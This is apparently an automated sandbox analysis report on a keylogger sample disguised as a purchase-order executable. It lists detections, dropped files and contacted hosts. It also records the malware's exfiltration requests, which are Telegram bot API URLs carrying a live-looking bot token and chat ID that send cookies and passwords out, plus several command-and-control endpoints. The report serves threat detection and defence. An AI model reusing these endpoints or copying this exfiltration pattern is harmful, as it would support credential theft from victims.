BQ_PO#385995.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\ubygsn.exe	100%	Avira	HEUR/AGEN.1307591
C:\Users\user\AppData\Local\Temp\ubygsn.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ubygsn.exe	71%	ReversingLabs	ByteCode-MSIL.Spyware.Snakekeylogger

Source	Detection	Scanner	Label
https://www.newtonsoft.com/json	0%	Avira URL Cloud	safe
http://crl.miUY:m	0%	Avira URL Cloud	safe
69.174.100.131	0%	Avira URL Cloud	safe
https://system.data.sqlite.org/	0%	Avira URL Cloud	safe
https://www.newtonsoft.com/jsonschema	0%	Avira URL Cloud	safe
http://james.newtonking.com/projects/json	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
reallyfreegeoip.org	104.21.67.152	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
api.telegram.org	149.154.167.220	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high
tse1.mm.bing.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo/sendDocument?chat_id=6236275763&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:105270%0D%0ADate%20and%20Time:%2006/12/2024%20/%2010:34:50%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20105270%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		high
http://checkip.dyndns.org/	false		high
https://reallyfreegeoip.org/xml/8.46.123.228	false		high
https://api.telegram.org/bot7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo/sendDocument?chat_id=6236275763&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery	false		high
69.174.100.131	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	ubygsn.exe, 0000000E.00000002.4593828211.0000000002FC8000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	ubygsn.exe, 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe.3.dr	false		high
https://contoso.com/License	powershell.exe, 0000000B.00000002.2291901303.0000000005BE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/lB	ubygsn.exe, 0000000E.00000002.4593828211.0000000002F84000.00000004.00000800.00020000.00000000.sdmp	false		high
https://system.data.sqlite.org/X	MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://www.newtonsoft.com/json	MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.228$	ubygsn.exe, 0000000E.00000002.4593828211.0000000002E7F000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4608317412.00000000040D1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	ubygsn.exe, 0000000E.00000002.4593828211.0000000002F49000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	ubygsn.exe, 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe.3.dr	false		high
https://urn.to/r/sds_seeaCould	MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://api.telegram.org/bot7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo/sendDocument?chat_id=6236	ubygsn.exe, 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000008.00000002.2241224175.0000000004721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2281406478.0000000004B81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4608317412.00000000040D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	ubygsn.exe, 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, ubygsn.exe.3.dr	false		high
https://contoso.com/	powershell.exe, 0000000B.00000002.2291901303.0000000005BE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.2244050914.0000000005789000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2291901303.0000000005BE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enlB	ubygsn.exe, 0000000E.00000002.4593828211.0000000002F53000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:105270%0D%0ADate%20a	ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	MSBuild.exe, 00000003.00000002.4593226321.00000000033C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2241224175.0000000004721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2281406478.0000000004B81000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	ubygsn.exe, 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002E10000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe.3.dr	false		high
https://www.office.com/	ubygsn.exe, 0000000E.00000002.4593828211.0000000002F89000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.2244050914.0000000005789000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2291901303.0000000005BE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.2241224175.0000000004876000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000B.00000002.2291901303.0000000005BE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.7.dr	false		high
http://checkip.dyndns.org	ubygsn.exe, 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4608317412.00000000040D1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aborters.duckdns.org:8081	ubygsn.exe, 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe.3.dr	false		high
https://ac.ecosia.org/autocomplete?q=	ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4608317412.00000000040D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	ubygsn.exe, 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	ubygsn.exe, 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe.3.dr	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.2241224175.0000000004876000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/jsonschema	MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.miUY:m	powershell.exe, 00000008.00000002.2248564967.0000000007193000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	ubygsn.exe, 0000000E.00000002.4593828211.0000000002E7F000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002E10000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.nuget.org/packages/Newtonsoft.Json.Bson	MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp	false		high
https://urn.to/r/sds_see	MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://api.telegram.org	ubygsn.exe, 0000000E.00000002.4593828211.0000000002FC8000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://system.data.sqlite.org/	MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ubygsn.exe, 0000000E.00000002.4608317412.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4608317412.00000000040D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	ubygsn.exe, 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, ubygsn.exe.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
69.174.100.131	unknown	United States	8100	ASN-QUADRANET-GLOBALUS	true
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569121
Start date and time:	2024-12-05 14:00:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BQ_PO#385995.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@15/16@4/4
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 95% Number of executed functions: 334 Number of non-executed functions: 21
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.223.35.26, 192.229.221.95, 199.232.214.172, 20.198.118.190, 20.190.177.84, 20.190.147.9, 20.190.147.2, 20.190.147.5, 20.190.147.12, 20.190.177.85, 20.190.147.4, 20.190.147.3, 52.168.117.173, 20.109.210.53, 40.69.42.241, 20.223.36.55, 2.16.158.26, 2.16.158.34, 2.16.158.186, 2.16.158.192, 2.16.158.33, 2.16.158.184, 2.16.158.187, 2.16.158.185, 2.16.158.27, 20.234.120.54, 104.121.21.116
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, slscr.update.microsoft.com, asf-ris-prod-neu-azsc.northeurope.cloudapp.azure.com, otelrules.afd.azureedge.net, g.bing.com, arc.msn.com, wns.notify.trafficmanager.net, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, wildcard.weather.microsoft.com.edgekey.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, arc.trafficmanager.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, www.bing.com, client.wns.windows.com, prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, e15275.d.akamaiedge.net, www.tm.v4.a.prd.aadg.akadns.net, ris-prod.trafficmanager.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, www-www.bing.com.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ris.api.iris.microsoft.com, fe3.delivery.mp.microsoft.com, mm-m
Execution Graph export aborted for target MSBuild.exe, PID 6524 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4976 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: BQ_PO#385995.exe

Simulations

Behavior and APIs

Time	Type	Description
08:01:13	API Interceptor	37x Sleep call for process: powershell.exe modified
08:01:17	API Interceptor	1x Sleep call for process: WerFault.exe modified
08:01:23	API Interceptor	4175980x Sleep call for process: MSBuild.exe modified
08:01:37	API Interceptor	2201295x Sleep call for process: ubygsn.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	MerchantDetailedStatement_37063_04122024.exe	Get hash	malicious	AgentTesla	Browse
	ROh2ijuEpr.exe	Get hash	malicious	Babuk, Conti	Browse
	REQUEST FOR QUOATION AND PRICES 0106-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Patch.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse
	RuntimeBroker.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse
	FACTURA PROFORMA 611 MICROMENT IN LONDON_pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	rOJS25YL2e.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Uii3leknna.exe	Get hash	malicious	Unknown	Browse
	Uii3leknna.exe	Get hash	malicious	Unknown	Browse
	DxWl6xEBp7.exe	Get hash	malicious	Unknown	Browse
104.21.67.152	REQUEST FOR QUOATION AND PRICES 0106-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	rOJS25YL2e.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Ziraat Bankasi Swift Mesaji.pdf.exe	Get hash	malicious	MassLogger RAT	Browse
	fiyati_teklif 65W20_ B#U00fcy#U00fck mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Pagamento,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PAYMENT RECEIPT_pdf.com.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	fiyati_teklif 65W20_ B#U00fcy#U00fck mokapto Sipari#U015fi _PDF_.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	REQUEST FOR QUOATION AND PRICES.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
69.174.100.131	Drawing&spec.scr.exe	Get hash	malicious	AsyncRAT	Browse
158.101.44.242	REQUEST FOR QUOATION AND PRICES 0106-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	PAYMENT RECEIPT_pdf.com.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Request for Quote and Collaboration Docs.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	#U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	New Order C0038 2024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Bukti-Transfer.vbe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	inseminating.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	REQUEST FOR QUOATION AND PRICES 0106-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	FACTURA PROFORMA 611 MICROMENT IN LONDON_pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	rOJS25YL2e.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Teklif Talebi #U0130hale No_14991_PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Ziraat Bankasi Swift Mesaji.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	fiyati_teklif 65W20_ B#U00fcy#U00fck BID mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	fiyati_teklif 65W20_ B#U00fcy#U00fck mokapto Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	hesaphareketi-01.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Pagamento,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	13.107.246.63
	https://forms.zohopublic.com/volt1g1/form/CompleteVehicleAccessoriesLtd/formperma/DjGG5qUda3jrtGBWWHgY7RiBMK57TQ9IEa34k6QF6G0	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	tnAuKiW7Ll.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer	Browse	13.107.246.63
	S699q3m27h.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	13.107.246.63
	CuzEVhGpsW.exe	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
bg.microsoft.map.fastly.net	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.214.172
	file.exe	Get hash	malicious	Nymaim	Browse	199.232.210.172
	iS2mAc7AK9.exe	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	New RFQ for PR-10453180.exe	Get hash	malicious	Snake Keylogger	Browse	199.232.214.172
	New RFQ for PR-10453180.exe	Get hash	malicious	Snake Keylogger	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	BACS190027-01.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://fujipharma.box.com/s/pezxwn32zbr37fbrrrqh18g3y8eulbk2	Get hash	malicious	Unknown	Browse	199.232.210.172
	Doc Copy-PTD- P2139 INV- P2238.eml	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	MerchantDetailedStatement_37063_04122024.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	ROh2ijuEpr.exe	Get hash	malicious	Babuk, Conti	Browse	149.154.167.220
	REQUEST FOR QUOATION AND PRICES 0106-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Patch.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	149.154.167.220
	RuntimeBroker.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	149.154.167.220
	FACTURA PROFORMA 611 MICROMENT IN LONDON_pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Ttok18.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	jtkhikadjthsad.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	rOJS25YL2e.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	104.21.16.9
	https://u48082015.ct.sendgrid.net/ls/click?upn=u001.pOqE3ynRedQ9NsGbrTu-2BaLIjIYVcg1ijpq56sr4Y5-2FB5zwtE42sL1220wfYj4cL2ZfJsZw-2FU-2FOUqrL8QRZF9b2UUD8Pul9C0yyWm-2BN3QQBQgbMk0QAkaAPwMzLvpPYoB-2BwsPts-2FpJg2Ca9vD7gWvxmiF3FquyNhJDn3DJ2aqniE-3DSROG_0T32ClFdYnPySZLQz4syRtgNruBBR3AwSZR3pUD82ECHMuZANC52M2vZMkU-2BTHEhtxEZmo8HfMhTNwTDAke3rDGsd62aJnfQxr9uNuaXVVipX2lml-2BnAAHjParx-2FbpSidYKMTtETCXZy28DzSW91N31Fhbt2-2FsZmrfIiO0lzGcLfKoF-2F0a6o1chfcUTN3irkS-2BIXxfqRk4vo4HE0zmzfoTxHx-2F8AmBw3lXbOZpiPyU09-2FN2-2BPIh4vPHGiSgI3RE9Naat9AmAekzHQdoVL4WCvRygJotUvMfN1P-2FbYDRA13xdg2hF3KbrCbkGGZtpdUqEZOexEjaTcSCA96bKRTVPmgzwVQM5mUhCEHJux9h-2FBzCEVAazBYV4wlWfj9G-2FBcAF2IFBdmBAXRoYXRz92j0AtnajlTzXrIJuIGsTPk563b9IDaoTCfDddrAfjKrgJ49wVU5afCfmX65ABorVssXLz2Kkk6dTWRf5ic4ppiv62ZwH4MpbgytEE1DaFMyEnQeWQCQwalpZM3GU0J1SGzLHDMnxrpxN9V2DJXRDGfYcsowt6mbObjaro5LUUqbn5PECaloNer0xyprE9-2BBFTPm5MUyY1qGYa7hLCBIe6eOc0ZTwaCzME8J9VkQmtHvi4Vq7eqww7fjAnDfr5XQnMOjK2kXa80J8E7MS9rK6iZHRO-2BUmVYBWdOjpZiwv0z-2F8yWziEbk50erynbW11joT55AvV2r-2FgtlLcGZhqIkcesiX4bN0ZhrhKBSg6KMpdu-2BPxQDrmx2pCSh0fE6Ugvg3GFZ421xfzNEKtuxaFTv-2FliHV3t1IEmai-2FaaFMw-2BShw638WoubTDPjgwIKzrcPEYnA-2BW9-2FwdAKpo3FpWxG2hhPv77tB90m3DX-2BHQp4wrtJMPeSVG4N-2BWBfBYelH9mlEPkMTX-2B2K1-2FvlnDtcsWFE-2FgnVQvnVc-3D	Get hash	malicious	Unknown	Browse	104.21.82.90
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	iGxCM2I5u9.exe	Get hash	malicious	Flesh Stealer	Browse	104.16.185.241
	https://forms.zohopublic.com/volt1g1/form/CompleteVehicleAccessoriesLtd/formperma/DjGG5qUda3jrtGBWWHgY7RiBMK57TQ9IEa34k6QF6G0	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	z21nfe_20231205_001.vbs	Get hash	malicious	Unknown	Browse	104.21.93.68
	7Gt3icFvQW.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	1AxSwjpyGp.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	104.26.12.205
	V5P3YggUcy.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.181.192
	FPBKcOFjEP.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	104.26.12.205
ASN-QUADRANET-GLOBALUS	Drawing&spec.scr.exe	Get hash	malicious	AsyncRAT	Browse	69.174.100.131
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	216.144.226.243
	sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	23.163.68.178
	enmebest.doc	Get hash	malicious	Unknown	Browse	66.63.187.231
	teste.i686.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	162.220.9.15
	sh4.elf	Get hash	malicious	Mirai	Browse	162.220.9.67
	pE7icjUisS.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	RFQ 9-XTC-204-60THD.xlsx.exe	Get hash	malicious	Quasar	Browse	69.174.99.131
